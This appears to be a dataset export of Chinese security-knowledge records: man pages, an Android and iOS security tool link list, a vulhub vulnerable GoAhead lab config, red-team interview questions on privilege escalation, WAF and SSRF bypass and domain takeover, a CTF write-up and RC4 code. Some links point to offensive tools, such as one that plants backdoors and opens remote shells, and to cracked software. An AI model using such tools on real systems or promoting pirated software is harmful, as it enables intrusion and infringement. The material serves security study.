text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
.TH CHVT 1 "1997年10月7日" "控制台工具" "Linux用户手册"
.SH NAME(名称)
chvt \- 修改虚拟终端的前台环境
.SH SYNOPSIS(总览)
.BI chvt N
.SH DESCRIPTION(描述)
.B chvt
.I N
命令用来生成
.RI /dev/tty N
的前台终端.如果它本来不存在,即创建相应的屏幕.为了删除掉
不用的VT(虚拟终端),可使用
.BR deallocvt (1).
键映射操作
.RI `Console_ N '
(通常绑定为键组合
.RI (Ctrl\-)LeftAlt\-F N ,
.I N
在1-12的范围里取值,
而
.RI RightAlt\-F N\-12
中的
.I N
则在13-24的范围里取值)也允许切换到其它的VT,不过实际的切换
只能在它已经分配的前提下进行.这防止了分配给新的VT一个错位
的键值.
.SH "SEE ALSO"(另见)
.BR deallocvt (1).
|
sec-knowleage
|
## Android Dynamic Analysis
传送门:[門](https://github.com/secmobi/wiki.secmobi.com/)
[四个参数搞定安卓驱动fuzzing](http://www.freebuf.com/tools/92638.html)
[DIVA Android - Damn Insecure and vulnerable App for Android](https://github.com/payatu/diva-android/)
[2016年Android手机平台最佳黑客应用汇总](http://www.easyaq.org/info/infoLink?id=1848639717)
[移动安全之Android安全检测工具大全](https://www.92aq.com/2016/01/26/android-app-sec-tools.html)
[2016 黑客必备的Android应用](http://www.freebuf.com/tools/95020.html)
[ADBI - Android Native 层动态二进制插桩工具](https://github.com/samsung/adbi)
[ARTDroid: Simple and easy to use library to intercept virtual-method calls under the Android ART runtime.](https://github.com/vaioco/art-hooking-vtable)
[Drozer 新增了一个用于 Fuzz Android 应用的脚本](https://github.com/mwrlabs/drozer-modules/blob/master/intents/fuzzinozer.py)
[360加固静态脱壳](http://bbs.pediy.com/showthread.php?t=207856)
[Marvin: 一个用于在 Android APP 中寻找 Bugs 的系统,支持动静态分析](https://github.com/programa-stic/marvin-django)
[apkr:高级andorid恶意软件分析工具](https://github.com/zerjioang/apkr)
[新手教程:如何使用Burpsuite抓取手机APP的HTTPS数据](http://www.freebuf.com/articles/terminal/113940.html)
[Android逆向之旅—静态方式破解微信获取聊天记录和通讯录信息](http://blog.csdn.net/jiangwei0910410003/article/details/52238891)
[Android Webview 远程代码执行之GetClassLoader分析](http://www.droidsec.cn/android-webview-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B9%8Bgetclassloader)
[如何在暗网中收集公开情报资源(上集):利用OnionScan搭建属于自己的暗网搜索引擎](http://bobao.360.cn/learning/detail/2952.html)
[如何在暗网中收集公开情报资源(下集)-Python+Shodan+SSH密钥](http://bobao.360.cn/learning/detail/2955.html)
[26款优秀的Android逆向工程工具](http://www.freebuf.com/sectool/111532.html)
[Android系统篇之----免root实现Hook系统服务拦截方法](http://blog.csdn.net/jiangwei0910410003/article/details/52523679)
[CuckooDroid - Android 恶意软件自动化分析框架](http://www.darknet.org.uk/2016/08/cuckoodroid-automated-android-malware-analysis/)
[JEB 2.0.6.201508252211 破解版](http://www.52pojie.cn/thread-518338-1-1.html)
[TaintART -通过修改编译器(dex2oat)来实现数据流分析的系统](http://securitygossip.com/blog/2016/09/27/2016-09-27)
[用 AndBug 逆向调试器调试 Android APP](http://resources.infosecinstitute.com/android-hacking-and-security-part-23-introduction-to-debugging-android-apps-using-andbug)
[Hackode:一款android下多功能的渗透工具集](http://www.kalitut.com/2015/11/hackode-android-penetration-tester.html)
[Bytecode Viewer-一款基于Java 8的Android APK逆向工具包](http://bobao.360.cn/news/detail/3343.html)
[13 个不错的代码反混淆工具](https://hackerlists.com/deobfuscation-tools/)
[Android平台渗透测试套件–zANTI2.5](http://www.mottoin.com/89755.html)
[DROID-HUNTER:Android应用程序漏洞分析测试工具](http://www.mottoin.com/89977.html)
[APK 中的反调试技巧](http://drops.wooyun.org/mobile/16969)
[渗透测试工具清单(包括详细的工具使用步骤、命令行参数)](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/)
[还原 AppSolid 加固后的文件](https://www.pnfsoftware.com/blog/defeating-appsolid-android-protector/)
[检测逃逸工具 HTTP-Evader 所用的逃逸技术](http://blogs.cisco.com/security/advanced-malware-evasion-techniques-http-evader)
[Dalvik 字节码自篡改原理及实现](http://drops.wooyun.org/mobile/16677)
[动态静态结合的 Android 恶意软件分析](http://resources.infosecinstitute.com/android-malware-analysis-2/)
[安卓动态调试七种武器之长生剑](http://jaq.alibaba.com/community/art/show?articleid=339)
[How to: Testing Android Application Security, Part 1](https://blogs.mcafee.com/mcafee-labs/testing-android-application-security-part-1/)
[一种常规Android脱壳技术的拓展(附工具)](http://www.freebuf.com/sectool/105147.html)
[Android APP 内存 Dump 和分析](http://resources.infosecinstitute.com/android-hacking-dumping-and-analyzing-applications-memory/)
[用移动安全框架 MobSF 自动化地测试手机应用, MobSF 支持 Android 和 iOS](http://seclists.org/fulldisclosure/2016/Mar/45?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+seclists%2FFullDisclosure+%28Full+Disclosure%29) and [mobsf](http://www.slideshare.net/ajin25/nullcon-goa-2016-automated-mobile-application-security-testing-with-mobile-security-framework-mobsf)
[jsifenum - 用于枚举 Javascript 接口和方法的 Drozer 模块,这可以辅助检测 addJavascriptInterface 漏洞](https://github.com/droidsec/jsif-enumerator)
[Apktool v2.1.0 发布,详细的发布日志](http://connortumbleson.com/2016/03/27/apktool-v2-1-0-released/)
[droidsheep-2.0稳定版发行:android会话劫持安全测试工具](https://github.com/veekoon/droidsheep-2.0?platform=hootsuite)
[工具推荐:Scanner Routerhunter,路由器漏洞扫描器](http://www.freebuf.com/sectool/101180.html)
[动态二进制分析与代码混淆,其中作者还介绍了一个分析框架 Triton](http://triton.quarkslab.com/files/sthack2016-rthomas-jsalwan.pdf)
[利用 Android JEB 调试器 API Hook 加密流程,提取输入输出参数](https://www.pnfsoftware.com/blog/crypto-monitoring-android-debuggers-api/) [示例代码](https://github.com/pnfsoftware/jeb2-samplecode/tree/master/src/com/pnf/andhook)
[如何利用android备份导出沙盒APP文件](https://www.pentestpartners.com/blog/how-to-subvert-android-backups-to-export-sandboxed-app-files/)
[工具推荐:三款自动化代码审计工具](http://www.freebuf.com/sectool/101256.html)
[ReDex - Facebook 开发的 Android 字节码优化工具:](http://fbredex.com/)
[WhatsPwn: 用于在 Android 设备上提取敏感信息、注入后门、释放远程 Shell 的工具,Github Repo︰](https://github.com/jlrodriguezf/WhatsPwn)
[Android App常见逆向工具和使用技巧](http://bobao.360.cn/learning/detail/3126.html)
[iRET:IOS 逆向渗透测试工具套件](http://www.mottoin.com/91857.html)
[apk-deguard在线APK反混淆工具,理论上ProGurad混淆的代码80%都可以恢复出来](http://www.apk-deguard.com)
[Android中热修复框架AndFix原理解析及案例使用](http://mp.weixin.qq.com/s/qd1lWKj0f37KxpVDPyolww)
[Fuzzing Android:挖掘Android系统组件组件中的漏洞](http://bobao.360.cn/learning/detail/3213.html)
[iOS逆向:App脱壳/ipa破解](http://www.mottoin.com/92530.html )
[Android木马分析流程及实战](http://www.mottoin.com/93078.html)
[Android中Xposed框架篇—基于Xposed的一款脱壳神器ZjDroid工具原理解析](http://blog.csdn.net/jiangwei0910410003/article/details/52840602)
[打造您自己的Drozer模块,测试Android应用安全 ( 含演示视频)](http://bobao.360.cn/learning/detail/3265.html)
[APP漏洞扫描器之未使用地址空间随机化](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.HogDrU&articleid=640)
[idb -- 一个 iOS 应用程序安全评估工具](http://www.kitploit.com/2016/12/idb-ios-app-security-assessment-tool.html)
[提取 iPhone 6s Secure ROM](http://ramtin-amin.fr/#nvmedma)
[带你开发一款给Apk中自动注入代码工具icodetools(完善篇) ](http://mp.weixin.qq.com/s/kt53s3A4E67qDJRhYCQJSQ)
[物联网安全剖析(slides)](https://github.com/mdsecresearch/Publications/blob/master/presentations/An%20Anatomy%20of%20IoT%20Security_OWASPMCR_Nov2016.pdf)
[一个开源的可视化工具用于分析Android上的 SELinux/SE 安全策略](https://www.invincealabs.com/blog/2016/12/v3spa-announcement/)
[基于文件特征的Android模拟器检测(附实现代码下载)](https://mp.weixin.qq.com/s/sl33d2pnyLMJ-fUY_DfBDw)
[Android中热修复框架Robust原理解析并将框架代码从"闭源"变成"开源"(上篇)](http://mp.weixin.qq.com/s/qCfVUU2H8eZjK287oCQi-A)
[针对 Android 平台上Web code 的细粒度访问控制](http://securitygossip.com/blog/2016/12/20/2016-12-20)
通过建立行为模型的 Markov 链来检测 Android 恶意软件
[两个CVE案例分析:如何利用Android中的可信区域](http://bobao.360.cn/learning/detail/3327.html)
逆向工具综述 [上](http://bobao.360.cn/learning/detail/3303.html)
[下](http://bobao.360.cn/learning/detail/3307.html)
[让你的安卓手机变成HID渗透工具之badandroid](http://www.freebuf.com/articles/terminal/124306.html)
[安卓无线渗透利器:Hijacker](http://www.freebuf.com/sectool/124156.html)
[Android程序反混淆利器——Simplify工具](http://bobao.360.cn/learning/detail/3445.html)
[Inspeckage - Android APP -- 动态分析工具,通过 Hook 关键 API 的方式,监控 Android APP 的行为](http://ac-pm.github.io/Inspeckage)
[OSX/iOS逆向资源合集](https://github.com/michalmalik/osx-re-101)
[【Blackhat】2017美国黑帽大会兵工厂工具列表](http://bobao.360.cn/learning/detail/4140.html)
[最好用的17个渗透测试工具](http://www.aqniu.com/hack-geek/28188.html)
[ACHE:一款功能强大的聚焦型网络爬虫](http://www.freebuf.com/geek/148568.html)
[Hijacker:一款All-in-One型的Android端WiFi破解工具](http://www.freebuf.com/sectool/149812.html)
[Poet:一款功能强大的后渗透工具](http://www.freebuf.com/sectool/150461.html)
[Passionfruit:iOS应用黑盒评估工具](http://www.freebuf.com/column/151109.html)
[moloch 网络流量回溯分析系统](https://www.secpulse.com/archives/63919.html)
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/goahead:5.1.4
ports:
- "8080:80"
volumes:
- ./index:/var/www/goahead/cgi-bin/index
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "COPY" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
COPY \- 在表和文件之间拷贝数据
.SH SYNOPSIS
.sp
.nf
COPY \fItablename\fR [ ( \fIcolumn\fR [, ...] ) ]
FROM { '\fIfilename\fR' | STDIN }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] '\fIdelimiter\fR' ]
[ NULL [ AS ] '\fInull string\fR' ] ]
COPY \fItablename\fR [ ( \fIcolumn\fR [, ...] ) ]
TO { '\fIfilename\fR' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] '\fIdelimiter\fR' ]
[ NULL [ AS ] '\fInull string\fR' ] ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCOPY\fR 在 PostgreSQL表和标准文件系统文件之间交换数据。 COPY TO 把一个表的所有内容都拷贝到一个文件, 而 COPY FROM 从一个文件里拷贝数据到一个表里(把数据附加到表中已经存在的内容里)。
.PP
如果声明了一个字段列表,COPY 将只在文件和表之间拷贝声明的字段的数据。 如果表中有任何不在字段列表里的字段,那么 COPY FROM 将为那些字段插入缺省值。
.PP
带文件名的 COPY 指示 PostgreSQL 服务器直接从文件中读写数据。 如果声明了文件名,那么该文件必须为服务器可见,而且文件名必须从服务器的角度声明。如果声明的是 STDIN 或 STDOUT,数据通过连接在客户前端和服务器之间流动。
.SH "PARAMETERS 参数"
.TP
\fB\fItablename\fB\fR
现存表的名字(可以有模式修饰)。
.TP
\fB\fIcolumn\fB\fR
可选的待拷贝字段列表。如果没有声明字段列表,那么将使用所有字段。
.TP
\fB\fIfilename\fB\fR
输入或输出文件的绝对路径名。
.TP
\fBSTDIN\fR
声明输入是来自客户端应用。
.TP
\fBSTDOUT\fR
声明输入前往客户端应用。
.TP
\fBBINARY\fR
使用二进制格式存储和读取,而不是以文本的方式。 在二进制模式下,不能声明 DELIMITERS和NULL。
.TP
\fBOIDS\fR
声明为每行拷贝内部对象标识(OID)。 (如果给那些没有 OID 的表声明了 OIDS 选项,则抛出一个错误。)
.TP
\fB\fIdelimiter\fB\fR
用于在文件中每行中分隔各个字段的单个字符。 缺省是水平制表符。(tab)
.TP
\fB\fInull string\fB\fR
一个代表 NULL 值的字串。缺省是 \\N (反斜杠-N)。 当然,你可以自己挑一个空字串。
.sp
.RS
.B "Note:"
注意: 对于COPY FROM,任何匹配这个字串的字串将被存储为 NULL 值, 所以你应该确保你用的字串和COPY TO相同。
.RE
.sp
.SH "NOTES 注意"
.PP
\fBCOPY\fR 只能用于表,不能用于视图。
.PP
BINARY 关键字将强制使用二进制对象而不是文本存储/读取所有数据。 这样做在一定程度上比传统的拷贝命令快,但二进制拷贝文件在不同机器体系间的植性不是很好。
.PP
你对任何要COPY TO 出来的数据必须有选取数据的权限,对任何要 COPY FROM 入数据的表必须有插入权限。
.PP
COPY 命令里面的文件必须是由服务器直接读或写的文件,而不是由客户端应用读写。 因此,它们必须位于数据库服务器上或者可以为数据库服务器所访问,而不是由客户端做这些事情。 它们必须是PostgreSQL用户(服务器运行的用户 ID)可以访问到并且可读或者可写,而不是客户端。 COPY 到一个命名文件是只允许数据库超级用户进行的,因为它允许读写任意服务器有权限访问的文件。
.PP
不要混淆 COPY 和 psql 指令 \fB\\copy\fR。 \fB\\copy\fR 调用 COPY FROM STDIN 或者 COPY TO STDOUT, 然后把数据抓取/存储到一个 psql 客户端可以访问的文件中。 因此,使用 \fB\\copy\fR 的时候,文件访问权限是由客户端而不是服务器端决定的。
.PP
我们建议在 COPY 里的文件名字总是使用绝对路径。 在 COPY TO 的时候是由服务器强制进行的, 但是对于 COPY FROM,你的确有从一个声明为相对路径的文件里读取的选择。 该路径将解释为相对于服务器的工作目录(在数据目录里的什么地方),而不是客户端的工作目录。
.PP
\fBCOPY FROM\fR 会激活所有触发器和检查约束。不过,不会激活规则。
.PP
\fBCOPY\fR 在第一个错误处停下来。这些在 COPY TO中不应该导致问题, 但在 COPY FROM 时目的表会已经接收到早先的行, 这些行将不可见或不可访问,但是仍然会占据磁盘空间。 如果你碰巧是拷贝很大一块数据文件的话, 积累起来,这些东西可能会占据相当大的一部分磁盘空间。你可以调用 VACUUM 来恢复那些磁盘空间。
.SH "FILE FORMATS 文件格式"
.SS "TEXT FORMAT 文本格式"
.PP
当不带 BINARY 选项使用 COPY 时, 读写的文件是一个文本文件,每行代表表中一个行。 行中的列(字段)用分隔符分开。 字段值本身是由与每个字段类型相关的输出函数生成的字符串, 或者是输入函数可接受的字串。 数据中使用特定的空值字串表示那些为 NULL 的字段。 如果输入文件的任意行包含比预期多或者少的字段,那么 COPY FROM 将抛出一个错误。 如果声明了 OIDS,那么 OID 将作为第一个字段读写, 放在所有用户字段前面。
.PP
数据的结束可以用一个只包含反斜扛和句点(\\.)的行表示。 如果从文件中读取数据,那么数据结束的标记是不必要的, 因为文件结束起的作用就很好了;但是在 3.0 之前的客户端协议里,如果在客户端应用之间拷贝数据, 那么必须要有结束标记。
.PP
反斜扛字符(\\)可以用在 COPY 里给那些会有歧义的字符进行逃逸(否则那些字符会被当做行或者字段分隔符处理)。 特别是下面的字符如果是字段值的一部分时,必须前缀一个反斜扛:反斜扛本身,换行符,回车,以及当前分隔符。
.PP
声明的空字串被 COPY TO 不加任何反斜杠发送;与之相对,COPY FROM 在删除反斜杠之前拿它的输入与空字串比较。因此,像 \\N 这样的空字串不会和实际数据值 \\N 之间混淆(因为后者会表现成 \\\\N)。
.PP
\fBCOPY FROM\fR 识别下列特殊反斜扛序列:
.RS
\\b 退格 (ASCII 8)
.PP
\\f 进纸 (ASCII 12)
.PP
\\n 新行 (ASCII 10)
.PP
\\r 回车 (ASCII 13)
.PP
\\t 跳格 (ASCII 9)
.PP
\\v 竖直跳格 (ASCII 11)
.PP
\\\fIdigits\fR (反斜杠,后面是三个八进制数值,代表具有指定值的字符)
.RE
目前,COPY TO 将绝不会发出一个八进制反斜扛序列, 但是它的确使用了上面列出的其它字符用于控制字符。
.PP
绝对不要把反斜扛放在一个数据字符N或者句点(.)前面。 这样的组合将分别被误认为是空字串(\\.) 或者数据结束标记 (\\N)。 另外一个没有在上面的表中列出的反斜扛字符就是它自己。
.PP
我们强烈建议生成 COPY 数据的应用八换行符和回车分别转换成 \\n 和 \\r 序列。 目前我们可以用一个反斜杠和一个回车表示一个数据回车,以及用一个反斜扛和一个换行符表示一个数据换行符。 不过,这样的表示在将来的版本中缺省时可能不会被接受。
.PP
They are also highly vulnerable to corruption if the COPY file is
transferred across different machines (for example, from Unix to Windows
or vice versa).
.PP
\fBCOPY TO\fR 将再每行的结尾是用一个 Unix 风格的换行符("\\n"), 或者是在 MS Windows 上运行的服务器上用("\\r\\n")标记一行终止,但只是用于COPY到服务器文件里; 为了在不同平台之间一致,COPY TO STDOUT 总是发送 "\\n",不管服务器平台是什么。 COPY FROM 可以处理那些以回车符,或者换行符,或者回车换行符作为行结束的数据。 为了减少在数据中出现的未逃逸的新行或者回车导致的错误,如果输入的行结尾不像上面这些符号, COPY FROM 会发出警告。
.SS "BINARY FORMAT 二进制格式"
.PP
在PostgreSQL 7.4 中的 COPY BINARY 的文件格式做了变化。新格式由一个文件头,零或多条元组, 以及文件尾组成。文件头和数据现在是网络字节序。
.SS "FILE HEADER 文件头"
.PP
文件头由 15 个字节的固定域组成,后面跟着一个变长的头扩展区。 固定域是:
.TP
\fBSignature 签名\fR
11-字节的序列 PGCOPY\\n\\377\\r\\n\\0 --- 请注意字节零是签名是要求的一部分。 (使用这个签名是为了让我们能够很容易看出文件是否已经被一个非 8 位安全的转换器给糟蹋了。 这个签名会被行结尾转换过滤器,删除字节零,删除高位,或者奇偶的改变而改变。)
.TP
\fBFlags field 标志域\fR
32 位整数掩码表示该文件格式的重要方面。 位是从 0(LSB)到 31 (MSB)编码的 --- 请注意这个域是以网络字节序存储的(高位在前), 后继的整数都是如此。位 16 - 31 是保留用做关键文件格式信息的; 如果读者发现一个不认识的位出现在这个范围内,那么它应该退出。 位 0-15 都保留为标志向后兼容的格式使用;读者可以忽略这个范围内的不认识的位。目前只定义了一个标志位,而其它的必须是零:
.RS
.TP
\fBBit 16\fR
如果为 1,那么在数据中包括了 OID;如果为 0,则没有
.RE
.PP
.TP
\fB头扩展范围长度\fR
32 位整数,以字节计的头剩余长度,不包括自身。目前,它是零, 后面紧跟第一条元组。对该格式的更多的修改都将允许额外的数据出现在头中。 读者应该忽略任何它不知道该如何处理的头扩展数据。
.PP
.PP
头扩展数据是一个用来保留一个自定义的数据序列块用的。这个标志域无意告诉读者扩展区的内容是什么。头扩展的具体设计内容留给以后的版本用。
.PP
这样设计就允许向下兼容头附加(增加头扩展块,或者设置低位序标志位)以及非向下兼容修改(设置高位标志位以标识这样的修改, 并且根据需要向扩展区域增加支持数据)。
.SS "TUPLES 元组"
.PP
每条元组都以一个 16 位整数计数开头,该计数是元组中字段的数目。(目前,在一个表里的每条元组都有相同的计数,但可能不会永远这样。)然后后面不断出现元组中的各个字段,字段先是一个 32 位的长度字,后面跟着那么长的字段数据。(长度字并不包括自己,并且可以为零。)一个特例是:-1 表示一个 NULL 字段值。在 NULL 情况下,后面不会跟着数值字节。
.PP
在数据域之间没有对奇填充或者任何其它额外的数据。
.PP
目前,一个 COPY BINARY 文件里的所有数据值都假设是二进制格式的(格式代码为一)。预计将来的扩展可能增加一个头域,允许为每个字段声明格式代码。
.PP
为了判断实际元组数据的正确的二进制格式,你应该阅读 PostgreSQL 源代码,特别是该字段数据类型的 *send 和 *recv 函数(典型的函数可以在源代码的 src/backend/utils/adt/ 目录找到)。
.PP
如果在文件中包括了 OID,那么该 OID 域立即跟在字段计数字后面。它是一个普通的字段,只不过它没有包括在字段计数。但它包括长度字 --- 这样就允许我们不用花太多的劲就可以处理 4 字节和 8 字节的 OID,并且如果某个家伙允许 OID 是可选的话,那么还可以把 OID 显示成空。
.SS "FILE TRAILER 文件尾"
.PP
文件尾包括保存着 -1 的一个 16 位整数字。这样就很容易与一条元组的域计数字相区分。
.PP
如果一个域计数字既不是 -1 也不是预期的字段的数目,那么读者应该报错。 这样就提供了对丢失与数据的同步的额外的检查。
.SH "EXAMPLES 例子"
.PP
下面的例子把一个表拷贝到客户端, 使用竖直条(|)作为域分隔符:
.sp
.nf
COPY country TO STDOUT WITH DELIMITER '|';
.sp
.fi
.PP
从一个 Unix 文件中拷贝数据到一个country表中:
.sp
.nf
COPY country FROM '/usr1/proj/bray/sql/country_data';
.sp
.fi
.PP
下面是一个可以从 STDIN 中拷贝数据到表中的例子:
.sp
.nf
AF AFGHANISTAN
AL ALBANIA
DZ ALGERIA
ZM ZAMBIA
ZW ZIMBABWE
.sp
.fi
请注意在这里每行里的空白实际上是一个水平制表符 tab。
.PP
下面的是同样的数据,在一台 Linux/i586 机器上以二进制形式输出。 这些数据是用 Unix 工具 \fIod -c\fR 过滤之后输出的。 该表有三个字段;第一个是 char(2), 第二个是 text, 第三个是integer。所有的行在第三个域都是一个 null 值。
.sp
.nf
0000000 P G C O P Y \\n 377 \\r \\n \\0 \\0 \\0 \\0 \\0 \\0
0000020 \\0 \\0 \\0 \\0 003 \\0 \\0 \\0 002 A F \\0 \\0 \\0 013 A
0000040 F G H A N I S T A N 377 377 377 377 \\0 003
0000060 \\0 \\0 \\0 002 A L \\0 \\0 \\0 007 A L B A N I
0000100 A 377 377 377 377 \\0 003 \\0 \\0 \\0 002 D Z \\0 \\0 \\0
0000120 007 A L G E R I A 377 377 377 377 \\0 003 \\0 \\0
0000140 \\0 002 Z M \\0 \\0 \\0 006 Z A M B I A 377 377
0000160 377 377 \\0 003 \\0 \\0 \\0 002 Z W \\0 \\0 \\0 \\b Z I
0000200 M B A B W E 377 377 377 377 377 377
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准里没有 COPY 语句。
.PP
7.3 以前的应用使用下面的语法,现在仍然支持:
.sp
.nf
COPY [ BINARY ] \fItablename\fR [ WITH OIDS ]
FROM { '\fIfilename\fR' | STDIN }
[ [USING] DELIMITERS '\fIdelimiter\fR' ]
[ WITH NULL AS '\fInull string\fR' ]
COPY [ BINARY ] \fItablename\fR [ WITH OIDS ]
TO { '\fIfilename\fR' | STDOUT }
[ [USING] DELIMITERS '\fIdelimiter\fR' ]
[ WITH NULL AS '\fInull string\fR' ]
.sp
.fi
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
lastb
===
列出登入系统失败的用户相关信息
## 补充说明
**lastb命令** 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于`/var/log`目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。
### 语法
```shell
lastb(选项)(参数)
```
### 选项
```shell
-a:把从何处登入系统的主机名称或ip地址显示在最后一行;
-d:将IP地址转换成主机名称;
-f<记录文件>:指定记录文件;
-n<显示列数>或-<显示列数>:设置列出名单的显示列数;
-R:不显示登入系统的主机名称或IP地址;
-x:显示系统关机,重新开机,以及执行等级的改变等信息。
```
### 参数
* 用户名:显示中的用户的登录列表;
* 终端:显示从指定终端的登录列表。
### 实例
首次运行lastb命令会报下的错误:
```shell
lastb: /var/log/btmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging lastb info.
```
只需建立这个不存在的文件即可。
```shell
touch /var/log/btmp
```
使用ssh的登录失败不会记录在btmp文件中。
```shell
lastb | head
root ssh:notty 110.84.129.3 Tue Dec 17 06:19 - 06:19 (00:00)
root ssh:notty 110.84.129.3 Tue Dec 17 04:05 - 04:05 (00:00)
root ssh:notty 110.84.129.3 Tue Dec 17 01:52 - 01:52 (00:00)
root ssh:notty 110.84.129.3 Mon Dec 16 23:38 - 23:38 (00:00)
leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00)
leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00)
root ssh:notty 110.84.129.3 Mon Dec 16 21:25 - 21:25 (00:00)
root ssh:notty 110.84.129.3 Mon Dec 16 19:12 - 19:12 (00:00)
root ssh:notty 110.84.129.3 Mon Dec 16 17:00 - 17:00 (00:00)
admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00)
```
|
sec-knowleage
|
# 面试问题
---
## 自由发挥的那种
- 打过几次护网
- 护网里面怎么做信息收集
- 怎么绕 cdn
- 遇到的常见的 web 漏洞有哪些
- 描述一下你印象最深的渗透案例
- 你平时端口扫描的所使用的工具有哪些,为什么选择这个工具,有对比过速度吗
- 掌握哪些编程语言,会不会用 python 写 poc 或 exp, 写过哪些 poc?
- 只给你一个单位名称,如何进行信息收集
- 最近关注哪些漏洞,比如 spring4shell,log4j 这些你有跟踪吗?
- 怎么接触到安全行业的
- 你目前的工作情况是怎么样的? 评价下自己的同事水平?
- 平时挖 src 吗? 讲一讲印象比较深刻的案例?
- 如果目标是政府单位,如何进行信息收集
- 小程序、公众号的渗透做过吗?简单讲讲
- 对于红队的基础设施搭建你平常是怎么做的?
- 自己有博客或者开源项目吗?
## 涉及具体知识的的那种
### 漏洞利用
- 讲一讲 mysql 提权的几种方式
- 讲一讲 redis 提权的几种方式
- 讲一讲 linux 提权的几种方式
- 文件上传的绕waf方式?
- 讲一讲中间件解析漏洞
- 讲讲docker逃逸的几种方式
- k8s安全这块有经验吗,简单讲讲
### 内网安全
- 内网渗透经验有没有,工作组还是域
- 域中怎么定位域控
- 域中怎么定位域管理员,如果 net group 命令查不出来域管理员是为什么
- 有哪些方式拿下域控
- 工作组渗透有哪些手段
- 简单讲讲 zerologon 的原理
- 金票和银票的区别
- 金票的利用条件
### java 安全
- 有没有做过 java 代码审计的项目
- log4j rce 的原理了不了解,讲一讲
- shiro 反序列化怎么绕 waf?
- shiro payload 过长怎么办?
- fastjson 怎么绕 waf?
- 内存马有了解过吗? 具体的利用?
### SSRF
- 说一个容易出现 SSRF 漏洞的场景
- 如果过滤了以 http 开头的协议怎么绕过
- ssrf 绕过过滤的思路
- 利用 DNS 重绑定来绕过 SSRF 的原理。
- TLS Poison 有没有了解过
- java 应用的 ssrf 点默认能不能利用 DNS-Rebinding ,为什么?
### SQL 注入
- sqlmap 的用法,或者你自己使用时的一些技巧
- sqlmap tamper 有没有使用过或编写过, 讲一讲
- mssql 怎么执行命令, 如果 xp_cmdshell 被禁用了怎么办?
- mssql 除了 xp_cmdshell 还有哪些方法可以执行命令?
- mysql 注入的绕 waf 方式?
|
sec-knowleage
|
# 2021-9-第七届工控信息安全攻防竞赛
---
## 签到
flag格式flag{xx_xx_xx_xx}
搜索协议s7comm 找到报错点黑色部分,得到flag
---
## IEC104
查看压缩包内隐藏的信息,flag格式:flag{xxx}
伪加密,提取到流量包
搜索 flag ,这个图片中存在一个压缩包
将图片下载,压缩包分离出来,得到 flag.txt
看特征像 AES ,在一开始的压缩包找到KEY
3des 解密得到 flag
---
## error
查看附件以获取flag
wireshark 跟踪TCP流
---
## family_bucket61
根据附件解出flag
凯撒偏移13位
```
4B555A58435754494B5A4A554F334B454D565257363453444746454555334C4947464158435343564F42515841554C534752435449565446493533565154434B4F4A4745474E4C4B4E42484545354C454746325653345A584735435453545455
```
base16
```
KUZXCWTIKZJUO3KEMVRW64SDGFEEU3LIGFAXCSCVOBQXAULSGRCTIVTFI53VQTCKOJGEGNLKNBHEE5LEGF2VS4ZXG5CTSTTU
```
base32
```
U3qZhVSGmDecorC1HJmh1AqHUpapQr4E4VeGwXLJrLC5jhNBud1uYs77E9Nt
```
base58
```
S19AIyRYaCQoMkU8UiNQS1YzbShLX15GMEVtQiVkSl4=
```
base64
```
K_@#$Xh$(2E<R#PKV3m(K_^F0EmB%dJ^
```
base85
```
A';GhG1!.>bJ?]AeA'GP-RZM>
```
base92
```
XRB1XUR0Z5QKGXSUH3A7
```
|
sec-knowleage
|
def KSA(key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
|
sec-knowleage
|
.\" This file Copyright 1992,93 Michael K. Johnson (johnsonm@stolaf.edu)
.\" Copyright 1995,1996 Miquel van Smoorenburg <miquels@cistron.nl>
.\" Copyright 1997-2000 Jukka Lahtinen <walker@clinet.fi>
.\" It may be distributed under the GNU Public License, version 2, or
.\" any higher version. See section COPYING of the GNU Public license
.\" for conditions under which this file may be redistributed.
.TH MINICOM 1 "2003/11/24 05:09:58" "User's Manual"
.SH NAME
minicom \- 友好易用的串口通信程序
.SH "总览 SYNOPSIS"
.B minicom
.RI "[-somMlwz8] [-c on|off] [-S script] [-d entry]"
.br
.in 15
.RI "[-a on|off] [-t term] [-p pty] [-C capturefile] [" configuration ]
.SH "描述"
.B minicom
是个通信程序,有点象共享软件 TELIX,但其源码可以自由获得,并能够运行于多
数Unix系统。 它包括以下特性:自动重拨号的拨号目录, 对串行设备UUCP格式的
lock文件的支持,独立的脚本语言解释器,文件捕获,多用户单独配置,等等。
.SH "命令行参数 COMMAND-LINE"
.TP 0.5i
.B -s
.BR 设置。
root 使用此选项在/etc/minirc.dfl中编辑系统范围的缺省值。
使用此参数后,minicom 将
.I 不
进行初始化, 而是直接进入配置菜单。如果因为你的系统被改变,或者第一次运行
minicom时,minicom不能启动,这个参数就会很有用。对于多数系统,已经内定了
比较合适的缺省值。
.TP 0.5i
.B -o
